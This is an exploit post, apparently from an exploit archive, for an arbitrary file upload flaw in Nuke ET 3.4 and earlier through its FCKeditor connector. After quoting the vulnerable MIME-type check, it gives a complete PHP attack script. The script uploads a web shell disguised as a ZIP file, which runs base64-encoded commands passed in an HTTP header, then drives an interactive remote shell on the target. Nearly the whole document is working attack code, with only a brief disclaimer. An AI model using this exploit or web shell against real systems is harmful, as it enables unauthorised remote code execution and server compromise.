SecurityReason - Nuke ET <= 3.4 (fckeditor) Remote Arbitrary File Upload Exploit ( Exploit )

Exploit Code :

<?php

/*
---------------------------------------------------------------
Nuke ET <= 3.4 (fckeditor) Remote Arbitrary File Upload Exploit
---------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.truzone.org/

This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

[-] vulnerable code in
/nuke/FCKeditor/editor/filemanager/browser/default/connectors/php/commands.
php

147. function FileUpload( $resourceType, $currentFolder )
148. {
149. $sErrorNumber = '0' ;
150. $sFileName = '' ;
151.
152. if ( isset( $_FILES['NewFile'] ) && !is_null(
$_FILES['NewFile']['tmp_name'] ) )
153. {
154. $oFile = $_FILES['NewFile'] ;
155.
156. // Map the virtual path to the local server path.
157. $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
158.
159. // Get the uploaded file name.
160. $sFileName = $oFile['name'] ;
161. $sOriginalFileName = $sFileName ;
162. // Security fix by truzone 01-15-2006
163. //$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1
) ) ;
164. //$sExtension = strtolower( $sExtension ) ;
165.
166. if(extension_loaded("mime_magic")){
167. $sExtension = mime_content_type($oFile['tmp_name']);
168. }else{
169. $sExtension = $oFile['type'];
170. }
171. // en of security fix by truzone 01-15-2006
172. global $Config ;
173.
174. $arAllowed = $Config['AllowedExtensions'][$resourceType] ;
175. $arDenied = $Config['DeniedExtensions'][$resourceType] ;

An attacker might be able to upload arbitrary files containing malicious
PHP code due to the code
near lines 166-170 will check only the MIME type of the upload request,
that can be easily spoofed!
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

function connector_response($html)
{
return (preg_match("/OnUploadCompleted$(\d),\"(.*)\"$/", $html, $match)
&& in_array($match[1], array(0, 201)));
}

print
"\n+------------------------------------------------------------------+";
print "\n| Nuke ET <= 3.4 (fckeditor) Arbitrary File Upload Exploit by EgiX
|";
print
"\n+------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /nukeet/\n";
die();
}

$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);

$filename = md5(time()).".php";
$connector =
"FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php"
;

$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\";
filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: application/zip\r\n\r\n";
$payload .= "PK\003\004<?php
error_reporting(0);print(\"_code_\\n\");passthru(base64_decode(\$_SERVER[HT
TP_CMD])); ?>\n";
$payload .= "--o0oOo0o--\r\n";

$packet = "POST
{$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f
HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

if (!connector_response(http_send($host, $packet))) die("\n[-] Upload
failed!\n");
else print "\n[-] Shell uploaded to {$filename}...starting it!\n";

$path .= str_repeat("../", substr_count($path, "/") - 1) .
"UserFiles/File/"; // come back to the document root

$packet = "GET {$path}{$filename} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\nnukeet-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/_code_/", $response) ? print array_pop(explode("_code_",
$response)) : die("\n[-] Exploit failed...\n");
}
else break;
}

?>